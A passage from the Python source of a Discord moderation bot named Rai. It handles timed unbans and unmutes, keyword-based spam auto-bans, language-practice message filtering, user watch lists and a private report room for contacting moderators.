msg_dict[cog]:\n if command.short_doc:\n str += f\"⠀⠀**{command.name}**\\n{command.short_doc}\\n\"\n else:\n str += f\"⠀⠀**{command.name}**\\n\"\n emb.add_field(name=f\"⁣\\n__{command.cog_name}__\",\n value=str, inline=False)\n await ctx.send(embed=emb)\n\n @commands.command(hidden=True)\n async def _check_desync_voice(self, ctx):\n config = self.bot.db['stats']\n for guild_id in config:\n if guild_id not in config:\n continue\n if not config[guild_id]['enable']:\n continue\n guild_config = config[guild_id]\n guild = self.bot.get_guild(int(guild_id))\n try:\n voice_channels = guild.voice_channels\n except AttributeError:\n continue\n users_in_voice = []\n for channel in voice_channels:\n users_in_voice += [str(member.id) for member in channel.members]\n for user_id in guild_config['voice']['in_voice'].copy(): # all users in the database\n if user_id not in users_in_voice: # if not in voice, remove from database\n member = guild.get_member(int(user_id))\n if not member:\n del guild_config['voice']['in_voice'][user_id]\n return\n await ctx.invoke(self.bot.get_command(\"command_out_of_voice\"), member)\n\n for user_id in users_in_voice.copy(): # all users in voice\n member = guild.get_member(int(user_id))\n vs = member.voice\n if vs:\n if vs.deaf or vs.self_deaf or vs.afk: # deafened or afk but in database, remove\n await ctx.invoke(self.bot.get_command(\"command_out_of_voice\"), member)\n if user_id not in guild_config['voice']['in_voice']: # in voice, not in database, add\n if vs.channel:\n await ctx.invoke(self.bot.get_command(\"command_into_voice\"), member, vs)\n else:\n await ctx.invoke(self.bot.get_command(\"command_out_of_voice\"), member) # in voice but no vs? remove\n\n @commands.command(hidden=True)\n async def _unban_users(self, ctx):\n config = self.bot.db['bans']\n for guild_id in config:\n unbanned_users = []\n guild_config = config[guild_id]\n try:\n mod_channel = self.bot.get_channel(self.bot.db['mod_channel'][guild_id])\n except KeyError:\n mod_channel = None\n if 'timed_bans' in guild_config:\n for member_id in guild_config['timed_bans'].copy():\n unban_time = datetime.strptime(guild_config['timed_bans'][member_id], \"%Y/%m/%d %H:%M UTC\")\n if unban_time < datetime.utcnow():\n guild = self.bot.get_guild(int(guild_id))\n member = discord.Object(id=member_id)\n try:\n await guild.unban(member, reason=\"End of timed ban\")\n del config[guild_id]['timed_bans'][member_id]\n unbanned_users.append(member_id)\n except discord.NotFound:\n pass\n if mod_channel and unbanned_users:\n text_list = []\n for i in unbanned_users:\n user = self.bot.get_user(int(i))\n text_list.append(f\"{user.mention} ({user.name})\")\n await mod_channel.send(embed=discord.Embed(description=f\"I've unbanned {', '.join(text_list)}, as\"\n f\"the time for their temporary ban has expired\",\n color=discord.Color(int('00ffaa', 16))))\n\n @commands.command(hidden=True)\n async def _unmute_users(self, ctx):\n config = self.bot.db['mutes']\n for guild_id in config:\n unmuted_users = []\n guild_config = config[guild_id]\n try:\n mod_channel = self.bot.get_channel(self.bot.db['mod_channel'][guild_id])\n except KeyError:\n mod_channel = None\n if 'timed_mutes' in guild_config:\n for member_id in guild_config['timed_mutes'].copy():\n unmute_time = datetime.strptime(guild_config['timed_mutes'][member_id], \"%Y/%m/%d %H:%M UTC\")\n if unmute_time < datetime.utcnow():\n await ctx.invoke(self.bot.get_command('unmute'), member_id, int(guild_id))\n unmuted_users.append(member_id)\n if unmuted_users and mod_channel:\n text_list = []\n for i in unmuted_users:\n user = self.bot.get_user(int(i))\n if user:\n text_list.append(f\"{user.mention} ({user.name})\")\n if not user:\n text_list.append(f\"{i}\")\n await mod_channel.send(embed=discord.Embed(description=f\"I've unmuted {', '.join(text_list)}, as \"\n f\"the time for their temporary mute has expired\",\n color=discord.Color(int('00ffaa', 16))))\n\n # @commands.command(aliases=['r'])\n # async def iam(self, ctx, role):\n # shortened_names = {'0': 'test0', '1': 'test1', '2': 'test2', '3': 'test3', '4': 'test4', '5': 'test5'}\n # if role in shortened_names:\n # desired_role = shortened_names[role]\n # else:\n # desired_role = role\n # role_dict = {}\n # if desired_role not in ['test0', 'test1', 'test2', 'test3', 'test4', 'test5']:\n # return\n # for role_name in ['test0', 'test1', 'test2', 'test3', 'test4', 'test5']:\n # role_dict[role_name] = discord.utils.get(ctx.guild.roles, name=role_name)\n # old_role = None\n # for role_name in role_dict:\n # if role_dict[role_name] in ctx.author.roles:\n # await ctx.author.remove_roles(role_dict[role_name])\n # old_role = role_name\n # if not old_role:\n # await ctx.send(\"You must have one of the test roles first before using this.\")\n # return\n # await ctx.author.add_roles(role_dict[desired_role])\n # old = role_dict[old_role]\n # new = role_dict[desired_role]\n # await ctx.send(embed=discord.Embed(description=f\"Changed {ctx.author.display_name} \"\n # f\"from {old.mention} to {new.mention}.\",\n # color=role_dict[desired_role].color))\n #\n # @commands.group(aliases=['c', 'color'], invoke_without_command=True)\n # async def color_change(self, ctx, role_name_in=None, color_in=None):\n # colors_channel = self.bot.get_channel(COLOR_CHANNEL_ID)\n # shortened_names = {'0': 'test0', '1': 'test1', '2': 'test2', '3': 'test3', '4': 'test4', '5': 'test5',\n # '6': 'test6', '7': 'test7'}\n # role_names = {'test0': 'NE', 'test1': 'FE', 'test2': 'OL', 'test3': 'NS', 'test4': 'FS', 'test5': 'Mods'}\n # if role_name_in in shortened_names:\n # role_name_in = shortened_names[role_name_in]\n # if ctx.guild.id == 243838819743432704:\n # if not color_in:\n # color_str = \"The current colors are: \\n\"\n # for role_name in ['test0', 'test1', 'test2', 'test3', 'test4', 'test5', 'test6', 'test7']:\n # role = discord.utils.get(ctx.guild.roles, name=role_name)\n # if not role:\n # continue\n # color_str += f\"{role.mention}: #{role.color.r:02X},{role.color.g:02X},{role.color.b:02X}\"\n # if role_name in role_names:\n # color_str += f\" ({role_names[role_name]})\\n\"\n # else:\n # color_str += '\\n'\n # await ctx.send(color_str)\n # return\n # if role_name_in in ['test0', 'test1', 'test2', 'test3', 'test4', 'test5', 'test6', 'test7']:\n # if not ctx.channel == colors_channel:\n # return\n # role = discord.utils.get(ctx.guild.roles, name=role_name_in)\n # if not role:\n # await ctx.send(f\"{role_name_in} not found.\")\n # return\n # try:\n # color = discord.Color(int(color_in, 16))\n # except ValueError:\n # await ctx.send(f\"Invalid color code used. You may only use numbers 0-9 and letters a-f.\")\n # return\n # await ctx.send(embed=discord.Embed(description=f\"Changed the color of {role.mention} to {color_in}.\",\n # color=color))\n # await role.edit(color=color)\n #\n # @color_change.command(name=\"save\")\n # @hf.is_submod()\n # async def color_save(self, ctx):\n # \"\"\"Save the current color set\"\"\"\n # config = self.bot.db['colors']\n # color_str = \"\"\n # colors_channel = self.bot.get_channel(COLOR_CHANNEL_ID)\n # for role_name in ['test0', 'test1', 'test2', 'test3', 'test4', 'test5']:\n # if not ctx.channel == colors_channel:\n # return\n # role = discord.utils.get(ctx.guild.roles, name=role_name)\n # if not role:\n # await ctx.send(f\"{role_name} not found.\")\n # return\n # color_str += f\"{role.name}: #{role.color.r:02X},{role.color.g:02X},{role.color.b:02X}\\n\"\n # config[str(len(config)+1)] = color_str\n # await hf.dump_json()\n #\n # @color_change.command(name=\"load\")\n # @hf.is_submod()\n # async def color_load(self, ctx, index=None):\n # try:\n # config = self.bot.db['colors'][str(index)]\n # new_colors = []\n # for color_str in config.split('\\n')[:-1]:\n # new_colors.append(color_str.split('#')[1].replace(',', ''))\n # except ValueError:\n # await ctx.send(\"Input a single number that you get from `;c list`.\")\n # return\n # colors_channel = self.bot.get_channel(COLOR_CHANNEL_ID)\n # role_names = ['test0', 'test1', 'test2', 'test3', 'test4', 'test5']\n # for index in range(6):\n # if not ctx.channel == colors_channel:\n # return\n # role = discord.utils.get(ctx.guild.roles, name=role_names[index])\n # if not role:\n # await ctx.send(f\"{role_name} not found.\")\n # return\n # color = discord.Color(int(new_colors[index], 16))\n # await role.edit(color=color)\n # await ctx.invoke(self.color_change)\n #\n # @color_change.command(name='list')\n # async def color_list(self, ctx):\n # config = self.bot.db['colors']\n # to_send = 'Saved configs:\\n\\n'\n # for index in range(len(config)):\n # to_send += f\"〰〰({index+1})〰〰\\n{config[str(index+1)]}\\n\"\n # await ctx.send(to_send)\n\n @commands.Cog.listener()\n async def on_message(self, msg):\n if msg.author.bot:\n return\n\n # \"Experimental global watch list\"\n # if msg.author.id == 202979770235879427:\n # channel = self.bot.get_channel(374489744974807040)\n # await channel.send(f\"Message by {msg.author.name} in {msg.channel.mention}:\\n\\n```{msg.content}```\")\n\n \"\"\"Message as the bot\"\"\"\n\n async def message_as_bot():\n if isinstance(msg.channel, discord.DMChannel) \\\n and msg.author.id == self.bot.owner_id and msg.content[0:3] == 'msg':\n await self.bot.get_channel(int(msg.content[4:22])).send(str(msg.content[22:]))\n\n if not isinstance(msg.channel, discord.TextChannel):\n return # stops the rest of the code unless it's in a guild\n\n await message_as_bot()\n\n \"\"\"Replace tatsumaki/nadeko serverinfo posts\"\"\"\n\n async def replace_tatsumaki_posts():\n if msg.content in ['t!serverinfo', 't!server', 't!sinfo', '.serverinfo', '.sinfo']:\n if msg.guild.id in [189571157446492161, 243838819743432704, 275146036178059265]:\n new_ctx = await self.bot.get_context(msg)\n await new_ctx.invoke(self.serverinfo)\n\n await replace_tatsumaki_posts()\n\n \"\"\"Ping me if someone says my name\"\"\"\n cont = str(msg.content)\n if (\n (\n 'ryry' in cont.casefold()\n or ('ryan' in cont.casefold() and msg.channel.guild != self.bot.spanServ)\n or 'らいらい' in cont.casefold()\n or 'ライライ' in cont.casefold()\n ) and\n (not msg.author.bot or msg.author.id == 202995638860906496) # checks to see if account is a bot account\n ): # random sad face\n if 'aryan' in cont.casefold(): # why do people say this so often...\n return\n else:\n await self.bot.spamChan.send(\n f'**By {msg.author.name} in {msg.channel.mention}** ({msg.channel.name}): '\n f'\\n{msg.content}'\n f'\\n{msg.jump_url} <@202995638860906496>')\n\n \"\"\"Self mute\"\"\"\n if msg.author.id == self.bot.owner_id and self.bot.selfMute:\n try:\n await msg.delete()\n except discord.errors.NotFound:\n pass\n\n ##########################################\n\n if not msg.guild: # all code after this has msg.guild requirement\n return\n\n ##########################################\n\n \"\"\"chinese server banned words\"\"\"\n words = ['动态网自由门', '天安門', '天安门', '法輪功', '李洪志', 'Free Tibet', 'Tiananmen Square',\n '反右派鬥爭', 'The Anti-Rightist Struggle', '大躍進政策', 'The Great Leap Forward', '文化大革命',\n '人權', 'Human Rights', '民運', 'Democratization', '自由', 'Freedom', '獨立', 'Independence']\n if msg.guild.id in [266695661670367232, 494502230385491978, 320439136236601344, 275146036178059265]:\n word_count = 0\n for word in words:\n if word in msg.content:\n word_count += 1\n if word_count == 5:\n mod_channel = self.bot.get_channel(self.bot.db['mod_channel'][str(msg.guild.id)])\n log_channel = self.bot.get_channel(self.bot.db['bans'][str(msg.guild.id)]['channel'])\n if datetime.utcnow() - msg.author.joined_at < timedelta(minutes=60):\n try:\n await msg.delete()\n except discord.Forbidden:\n await mod_channel.send(f\"Rai is lacking the permission to delete messages for the Chinese \"\n f\"spam message.\")\n\n # await msg.author.send(\"That message doesn't do anything to Chinese computers. It doesn't \"\n # \"get their internet shut down or get them arrested or anything. \"\n # \"It's just annoying, so please stop trying it.\")\n try:\n await msg.author.ban(reason=f\"*by* Rai\\n\"\n f\"**Reason: **Automatic ban: Chinese banned words spam\\n\"\n f\"{msg.content[:100]}\")\n except discord.Forbidden:\n await mod_channel.send(f\"I tried to ban someone for the Chinese spam message, but I lack \"\n f\"the permission to ban users.\")\n\n await log_channel.send(f\"Banned {msg.author.name} for the banned words spam message.\"\n f\"\\nMessage was posted in {msg.channel.mention}. Message:\"\n f\"\\n```{msg.content}\"[:1850] + '```')\n\n break\n else:\n\n await mod_channel.send(f\"Warning: {msg.author.name} may have said the banned words spam message\"\n f\"\\nMessage was posted in {msg.channel.mention}. Message:\"\n f\"\\n```{msg.content}\"[:1995] + '```')\n break\n\n \"\"\"best sex dating\"\"\"\n words = ['amazingsexdating', 'bestdatingforall', 'nakedphotos.club', 'privatepage.vip']\n try:\n for word in words:\n if word in msg.content:\n await self.bot.get_user(self.bot.owner_id).send(f\"best spam sex in {msg.guild.name} - \"\n f\"{msg.channel.name} \"\n f\"{msg.channel.mention}\")\n if str(msg.author.guild.id) in self.bot.db['auto_bans']:\n return\n if self.bot.db['auto_bans'][str(msg.author.guild.id)]['enable'] and \\\n datetime.utcnow() - msg.author.joined_at < timedelta(minutes=10):\n if msg.author.id in [202995638860906496, 414873201349361664]:\n return\n await msg.author.ban(reason=f'For posting a {word} link',\n delete_message_days=1)\n self.bot.db['global_blacklist']['blacklist'].append(msg.author.id)\n channel = self.bot.get_channel(BLACKLIST_CHANNEL_ID)\n await channel.send(\n f\"❌ Automatically added `{msg.author.name} ({msg.author.id}`) to the blacklist for \"\n f\"posting a {word} spam link\")\n message = f\"Banned a user for posting a {word} link.\" \\\n f\"\\nID: {msg.author.id}\" \\\n f\"\\nServer: {msg.author.guild.name}\" \\\n f\"\\nName: {msg.author.name} {msg.author.mention}\"\n await self.bot.get_channel(329576845949534208).send(message)\n await hf.dump_json()\n except KeyError as e:\n print(f'>>passed for key error on amazingsexdating: {e}<<')\n pass\n except AttributeError as e:\n print(f'>>passed for attributeerror in amazingsexdating: {e}<<')\n pass\n\n \"\"\"mods ping on spanish server\"\"\"\n if msg.guild.id == 243838819743432704:\n if '<@&258806166770024449>' in msg.content:\n ch = self.bot.get_channel(563448201139716136)\n me = self.bot.get_user(202995638860906496)\n fourteen = self.bot.get_user(136444391777763328)\n em = discord.Embed(title=f\"Mods Ping\",\n description=f\"From {msg.author.mention} ({msg.author.name}) \"\n f\"in {msg.channel.mention}\\n{msg.jump_url}\",\n color=discord.Color(int('FFAA00', 16)),\n timestamp=datetime.utcnow())\n em.add_field(name=\"Content\", value=f\"{msg.content}\\n⁣\".replace('<@&258806166770024449>', ''))\n await ch.send(embed=em)\n await me.send(embed=em)\n await fourteen.send(embed=em)\n\n \"\"\"Replace .mute on spanish server\"\"\"\n if msg.guild.id == 243838819743432704:\n if msg.content.startswith('.mute'):\n await msg.channel.send(\n f\"I've disabled Nadeko's `.mute` since it's broken. Use Rai's `;mute` (syntax \"\n f\"should all be the same)\")\n\n \"\"\"super_watch\"\"\"\n try:\n if msg.author.id in self.bot.db['super_watch'][str(msg.guild.id)]['users']:\n channel = self.bot.get_channel(self.bot.db['super_watch'][str(msg.guild.id)]['channel'])\n await channel.send(\n f\"<#{msg.channel.id}> Message from super_watch user {msg.author.name}: \"\n f\"\\n{msg.content}\")\n except KeyError:\n pass\n\n \"\"\"Message counting\"\"\"\n\n # stats:\n # \tguild1:\n # \t\tenable = True/False\n # \t\tmessages (for ,u):\n # \t\t\t{5/6/2019:\n # \t\t\t\t{user_id1:\n # \t\t\t\t\tchannel1: 30,\n # \t\t\t\t\tchannel2: 20\n # \t\t\t\tuser_id2:\n # \t\t\t\t\tchannel1: 40,\n # \t\t\t\t\tchannel2: 10\n # \t\t\t\t...}\n # \t\t\t5/5/2019:\n # \t\t\t\t{user_id1:\n # \t\t\t\t\tchannel1: 30,\n # \t\t\t\t\tchannel2: 20\n # \t\t\t\tuser_id2:\n # \t\t\t\t\tchannel1: 40,\n # \t\t\t\t\tchannel2: 10\n # \t\t\t\t...}\n # \t\t\t...\n def msg_count():\n if msg.author.bot:\n return\n if str(msg.guild.id) not in self.bot.db['stats']:\n return\n if not self.bot.db['stats'][str(msg.guild.id)]['enable']:\n return\n\n config = self.bot.db['stats'][str(msg.guild.id)]\n date_str = datetime.utcnow().strftime(\"%Y%m%d\")\n if date_str not in config['messages']:\n config['messages'][date_str] = {}\n today = config['messages'][date_str]\n author = str(msg.author.id)\n channel = str(msg.channel.id)\n if author in today:\n if channel in today[author]:\n today[author][channel] += 1\n else:\n today[author][channel] = 1\n else:\n today[author] = {channel: 1}\n\n msg_count()\n\n \"\"\"Ultra Hardcore\"\"\"\n await hf.uhc_check(msg)\n\n \"\"\"Chinese server hardcore mode\"\"\"\n if msg.guild.id == 266695661670367232:\n if '*' not in msg.content and msg.channel.id not in self.bot.db['hardcore'][\"266695661670367232\"][\n 'ignore']:\n if len(msg.content) > 3:\n try:\n ROLE_ID = self.bot.db['hardcore'][str(msg.guild.id)]['role']\n role = msg.guild.get_role(ROLE_ID)\n except KeyError:\n return\n except AttributeError:\n return\n if role in msg.author.roles:\n learning_eng = msg.guild.get_role(266778623631949826)\n ratio = hf.jpenratio(msg)\n if ratio is not None:\n if learning_eng in msg.author.roles:\n if ratio < .55:\n try:\n await msg.delete()\n except discord.errors.NotFound:\n pass\n if len(msg.content) > 30:\n await hf.long_deleted_msg_notification(msg)\n else:\n if ratio > .45:\n try:\n await msg.delete()\n except discord.errors.NotFound:\n pass\n if len(msg.content) > 60:\n await hf.long_deleted_msg_notification(msg)\n\n \"\"\"Spanish server hardcore\"\"\"\n if msg.guild.id == 243838819743432704 and '*' not in msg.content and len(msg.content):\n if msg.content[0] != '=' and len(msg.content) > 3:\n if msg.channel.id not in self.bot.db['hardcore']['243838819743432704']['ignore']:\n role = msg.guild.get_role(526089127611990046)\n if role in msg.author.roles:\n learning_eng = msg.guild.get_role(247021017740869632)\n learning_sp = msg.guild.get_role(297415063302832128)\n if learning_eng in msg.author.roles: # learning English, delete all Spanish\n try:\n lang_res = langdetect.detect_langs(hf.rem_emoji_url(msg))[0]\n if lang_res.lang == 'es' and lang_res.prob > 0.97:\n try:\n await msg.delete()\n except discord.errors.NotFound:\n pass\n if len(msg.content) > 30:\n await hf.long_deleted_msg_notification(msg)\n except langdetect.lang_detect_exception.LangDetectException:\n pass\n elif learning_sp in msg.author.roles: # learning Spanish, delete all English\n try:\n lang_res = langdetect.detect_langs(hf.rem_emoji_url(msg))[0]\n if lang_res.lang == 'en' and lang_res.prob > 0.97:\n try:\n await msg.delete()\n except discord.errors.NotFound:\n pass\n if len(msg.content) > 30:\n await hf.long_deleted_msg_notification(msg)\n except langdetect.lang_detect_exception.LangDetectException:\n pass\n else:\n try:\n await msg.author.send(\"You have hardcore enabled but you don't have the proper \"\n \"learning role. Please attach either 'Learning Spanish' or \"\n \"'Learning English' to properly use hardcore mode, or take \"\n \"off hardcore mode using the reactions in the server rules \"\n \"page\")\n except discord.errors.Forbidden:\n pass\n\n @commands.command(aliases=['git'])\n async def github(self, ctx):\n \"\"\"Gives my github page\"\"\"\n await ctx.send('https://github.com/ryry013/Rai')\n\n @commands.command()\n async def punch(self, ctx, user: discord.Member = None):\n \"\"\"A punch command I made as a test\"\"\"\n if not user:\n user = ctx.author\n await ctx.send(\"ONE PUNCH! And \" + user.mention + \" is out! ლ(ಠ益ಠლ)\")\n\n @commands.command()\n async def ping(self, ctx, x=4):\n \"\"\"sends back 'hello'\"\"\"\n await ctx.send(str(round(self.bot.latency, x)) + 's')\n await self.bot.testChan.send('hello')\n\n @commands.command()\n async def invite(self, ctx):\n \"\"\"Gives an invite to bring this bot to your server\"\"\"\n await ctx.send(discord.utils.oauth_url(self.bot.user.id, permissions=discord.Permissions(permissions=3072)))\n\n @commands.group(invoke_without_command=True)\n async def report(self, ctx, *, user=None):\n \"\"\"Make a report to the mods\"\"\"\n if isinstance(ctx.channel, discord.DMChannel):\n return\n guild_id = str(ctx.guild.id)\n if guild_id not in self.bot.db['report']:\n await ctx.send(f\"This server has not run the setup for the report function yet. Please type \"\n f\"`;report setup`.\")\n return\n config = self.bot.db['report'][guild_id]\n report_room = self.bot.get_channel(config['channel'])\n\n if user:\n user = await hf.member_converter(ctx, user)\n if not user:\n await ctx.send(\"I couldn't find that user. Please try again, or type just `;report` if you want to\"\n \" make your own report\")\n return\n else:\n user = ctx.author\n\n report_text = [\n # [0]: when the user first enters the module\n f\"Welcome to the reporting module. You're about to make a report to the mods of the \"\n f\"{ctx.guild.name} server. Please select one of the following options for your report.\\n\\n\"\n f\"1) Send a report to the mods.\\n\"\n f\"2) Send an anonymous report to the mods.\\n\"\n f\"3) Talk with the mods.\\n\"\n f\"4) Cancel\",\n\n # [1]: user chooses option 1: anonymous report\n \"Please type your report in one message below. Make sure to include any relevant information, such as \"\n \"who the report is about, which channel they did whatever you're reporting about was in, and any \"\n \"other users involved.\",\n\n # [2]: finishes anonymous report\n \"Thank you for your report. The mods have been notified, and your name is anonymous.\",\n\n # [3]: user chooses option 2: report room\n f\".\\n\\n\\n\\n\\n__Please go here__: {report_room.mention}\\n\"\n f\"In ten seconds, I'll send a welcome message there.\",\n\n # [4]: initial ping to mods in report room\n f\"{user.name} - This user has entered the report room. If they don't \"\n f\"come to this channel in the next ten seconds, they will not be able to \"\n f\"see the following message and might be confused as to what's happening. @here\",\n\n # [5]: entry message in report room\n f\"Welcome to the report room {user.mention}. Only the mods can read your messages here, so you\"\n f\" can now make your report. When you are finished, type `;report done` and a log of this conversation \"\n f\"will be sent to you. Please ping one of the mods you see online or if no one responds to you.\",\n\n # [6]: a mod requesting a user in the report room\n f\"Your presence has been requested in {report_room.mention}. There should be a \"\n f\"welcome message there explaining what is happening, but you might not see it so \"\n f\"it might be a blank channel. \"\n f\"\\n\\n\\n Please go here within 10 seconds of this message: {report_room.mention}. \"\n f\"\\n\\n\\n If you missed the 10 second window, that's ok. The channel will be blank, but it's about \"\n f\"this: in this channel, only the mods can see your messages, and no other users will \"\n f\"ever be able to see what you have typed in the past if they too join the \"\n f\"channel. At the end, a log of the chat will be sent to you.\",\n\n # [7]: message to the mods that someone is on the waitlist\n f'The user {user.mention} has tried to access the report room, but was put on '\n f'the wait list because someone else is currently using it.',\n\n # [8]: initial ping to user\n f'Please come to this channel {user.mention}'\n ]\n\n if user != ctx.author and hf.admin_check(ctx): # if the mods called in a user\n await self.report_room(ctx, config, user, report_text, True)\n return\n\n try:\n await ctx.message.delete()\n except discord.errors.Forbidden:\n await report_room.send(f\"I tried to delete the invocation for a ;report in {ctx.channel.mention} but I \"\n f\"lacked the `Manage Messages` permission so I could not. Please delete\"\n f\"the `;report` message that the user sent to maintain their privacy.\")\n\n reaction = await self.report_options(ctx, report_text) # presents users with options for what they want to do\n if not reaction:\n return\n\n if str(reaction.emoji) == \"1⃣\": # Send a report\n await self.report_room(ctx, config, ctx.author, report_text)\n\n if str(reaction.emoji) == '2⃣': # Send an anonymous report\n await self.anonymous_report(ctx, report_text)\n\n if str(reaction.emoji) == \"3⃣\": # Talk to the mods\n await self.report_room(ctx, config, ctx.author, report_text)\n\n if str(reaction.emoji) == '4⃣': # Cancel\n await ctx.author.send('Understood. Have a nice day!')\n return\n\n @report.command(name='setup')\n @hf.is_admin()\n async def report_setup(self, ctx):\n \"\"\"Sets the channel\"\"\"\n perms = ctx.channel.permissions_for(ctx.me)\n if not perms.read_messages or not perms.read_message_history or not perms.manage_roles:\n await ctx.message.add_reaction('\\N{CROSS MARK}')\n try:\n await ctx.send(\"I need permissions for reading messages, reading message history, and \"\n \"managing either channel permissions or server roles. Please check these\")\n except discord.errors.Forbidden:\n await ctx.author.send(f\"Rai lacks the permission to send messages in {ctx.channel.mention}.\")\n return\n\n guild_id = str(ctx.guild.id)\n if guild_id in self.bot.db['report']:\n self.bot.db['report'][guild_id]['channel'] = ctx.channel.id\n await hf.dump_json()\n await ctx.send(f\"Successfully set the report room channel to {ctx.channel.mention}.\")\n else:\n self.bot.db['report'][guild_id] = {'channel': ctx.channel.id,\n 'current_user': None,\n 'waiting_list': [],\n 'entry_message': None}\n await hf.dump_json()\n await ctx.send(f\"Initial setup for report room complete. The report room channel has been set to \"\n f\"{ctx.channel.mention}.\")\n\n @report.command()\n async def done(self, ctx):\n \"\"\"Use this when a report is finished in the report room\"\"\"\n try:\n config = self.bot.db['report'][str(ctx.guild.id)]\n report_room = ctx.bot.get_channel(config['channel'])\n except KeyError:\n return\n if not config['current_user']:\n return\n if ctx.channel != report_room:\n return\n\n user = ctx.guild.get_member(config['current_user'])\n start_message = await ctx.channel.fetch_message(config['entry_message'])\n config['current_user'] = None\n config['entry_message'] = None\n await hf.dump_json()\n await report_room.set_permissions(user, read_messages=False)\n\n message_log = 'Start of log:\\n'\n async for message in ctx.channel.history(limit=None, after=start_message):\n next_line = f'**__{message.author}:__** {message.content} \\n'\n if len(message_log + next_line) > 2000:\n await user.send(message_log)\n message_log = next_line\n else:\n message_log += next_line\n await user.send(message_log)\n\n await report_room.send('Session closed, and a log has been sent to the user')\n\n if config['waiting_list']:\n waiting_list = config['waiting_list']\n for member_id in waiting_list:\n if config['current_user']:\n break\n member = ctx.guild.get_member(member_id)\n msg = 'The report room is now open. Try sending `;report` to me again. If you ' \\\n 'wish to be removed from the waiting list, please react with the below emoji.'\n waiting_msg = await member.send(msg)\n await waiting_msg.add_reaction('🚫')\n asyncio.sleep(10)\n\n @report.command()\n @hf.is_admin()\n async def check_waiting_list(self, ctx):\n \"\"\"Checks who is on the waiting list for the report room\"\"\"\n guild_id = str(ctx.guild.id)\n if guild_id not in self.bot.db['report']:\n return\n config = self.bot.db['report'][guild_id]\n\n message = 'List of users on the waiting list: '\n if config['waiting_list']:\n members = [ctx.guild.get_member(user).mention for user in config['waiting_list']]\n message = message + ', '.join(members)\n else:\n message = 'There are no users on the waiting list'\n await ctx.send(message)\n\n @report.command()\n @hf.is_admin()\n async def clear_waiting_list(self, ctx):\n \"\"\"Clears the waiting list for the report room\"\"\"\n guild_id = str(ctx.guild.id)\n if guild_id not in self.bot.db['report']:\n return\n config = self.bot.db['report'][guild_id]\n\n if config['waiting_list']:\n config['waiting_list'] = []\n hf.dump_json()\n await ctx.send('Waiting list cleared')\n else:\n await ctx.send('There was no one on the waiting list.')\n\n @report.command(name=\"reset\")\n @hf.is_admin()\n async def report_reset(self, ctx):\n \"\"\"Manually reset the report module in case of some bug\"\"\"\n try:\n config = self.bot.db['report'][str(ctx.guild.id)]\n except KeyError:\n return\n config['current_user'] = config['entry_message'] = None\n config['waiting_list'] = []\n hf.dump_json()\n await ctx.send(f\"The report module has been reset on this server. Check the permission overrides on the \"\n f\"report channel to make sure there are no users left there.\")\n\n @report.command(name=\"anonymous_ping\")\n @hf.is_admin()\n async def report_anonymous_ping(self, ctx):\n \"\"\"Enable/disable a `@here` ping for if someone makes an anonymous report\"\"\"\n try:\n config = self.bot.db['report'][str(ctx.guild.id)]\n except KeyError:\n return\n config['anonymous_ping'] = not config['anonymous_ping']\n if config['anonymous_ping']:\n await ctx.send(\"Enabled pinging for anonymous reports. I'll add a `@here` ping to the next one.\")\n else:\n await ctx.send(\"Disabled pinging for anonymous reports.\")\n await hf.dump_json()\n\n @report.command(name=\"room_ping\")\n @hf.is_admin()\n async def report_room_ping(self, ctx):\n \"\"\"Enable/disable a `@here` ping for if someone enters the report room\"\"\"\n try:\n config = self.bot.db['report'][str(ctx.guild.id)]\n except KeyError:\n return\n config['room_ping'] = not config['room_ping']\n if config['room_ping']:\n await ctx.send(\"Enabled pinging for when someone enters the report room. \"\n \"I'll add a `@here` ping to the next one.\")\n else:\n await ctx.send(\"Disabled pinging for the report room.\")\n await hf.dump_json()\n\n @staticmethod\n async def report_options(ctx, report_text):\n \"\"\";report: Presents a user with the options of making an anonymous report or entering the report room\"\"\"\n\n def check(reaction, user):\n return user == ctx.author and (str(reaction.emoji) in \"1⃣2⃣3⃣4⃣\") # 4⃣\n\n try:\n msg = await ctx.author.send(report_text[0]) # when the user first enters the module\n except discord.errors.Forbidden:\n await ctx.send(f\"I'm unable to complete your request, as the user does not have PMs \"\n f\"from server members enabled.\")\n ctx.bot.db['report'][str(ctx.guild.id)]['current_user'] = None\n hf.dump_json()\n return\n\n await msg.add_reaction(\"1⃣\") # Send a report (report room)\n await msg.add_reaction('2⃣') # Send an anonymous report\n await msg.add_reaction('3⃣') # Talk to the mods (report room)\n await msg.add_reaction('4⃣') # cancel\n\n try:\n reaction, user = await ctx.bot.wait_for('reaction_add', timeout=300.0, check=check)\n return reaction\n except asyncio.TimeoutError:\n await ctx.author.send(\"Module timed out.\")\n return\n\n @staticmethod\n async def anonymous_report(ctx, report_text):\n \"\"\";report: The code for an anonymous report submission\"\"\"\n await ctx.author.send(report_text[1]) # Instructions for the anonymous report\n\n def check(m):\n return m.author == ctx.author and isinstance(m.channel, discord.channel.DMChannel)\n\n try:\n msg = await ctx.bot.wait_for('message', timeout=300.0, check=check)\n await ctx.author.send(report_text[2]) # \"thank you for the report\"\n mod_channel = ctx.bot.get_channel(ctx.bot.db['mod_channel'][str(ctx.guild.id)])\n initial_msg = 'Received report from a user: \\n\\n'\n if ctx.bot.db['report'][str(ctx.guild.id)]['anonymous_ping']:\n initial_msg = '@here ' + initial_msg\n await mod_channel.send(initial_msg)\n await mod_channel.send(msg.content)\n return\n except asyncio.TimeoutError:\n await ctx.author.send(f\"Module timed out.\")\n return\n\n @staticmethod\n async def report_room(ctx, config, user, report_text, from_mod=False):\n report_room = ctx.bot.get_channel(config['channel'])\n if config['current_user']: # if someone is in the room already\n config['waiting_list'].append(user.id)\n msg = f\"Sorry but someone else is using the room right now. I'll message you when it's ope\" \\\n f\"n in the order that I received requests. You are position \" \\\n f\"{config['waiting_list'].index(user.id)+1} on the list\"\n await user.send(msg) # someone is in the room, you've been added to waiting list\n try:\n mod_channel = ctx.guild.get_channel(ctx.cog.bot.db['mod_channel'][str(ctx.guild.id)])\n await mod_channel.send(f\"{user.mention} ({user.name}) tried to enter the report room, but someone \"\n f\"else is already in it. Try typing `;report done` in the report room, \"\n f\"and type `;report check_waiting_list` to see who is waiting.\")\n except KeyError:\n await report_room.send(f\"Note to the mods: I tried to send you a notification about the report room, \"\n f\"but you haven't set a mod channel yet. Please type `;set_mod_channel` in \"\n f\"your mod channel.\")\n await hf.dump_json()\n return\n if user.id in config['waiting_list']:\n config['waiting_list'].remove(user.id)\n config['current_user'] = user.id\n if report_room.permissions_for(user).read_messages or not config['room_ping']:\n initial_msg = report_text[4][:-5]\n else:\n initial_msg = report_text[4]\n await report_room.set_permissions(user, read_messages=True)\n\n if from_mod:\n try:\n await user.send(report_text[6])\n except 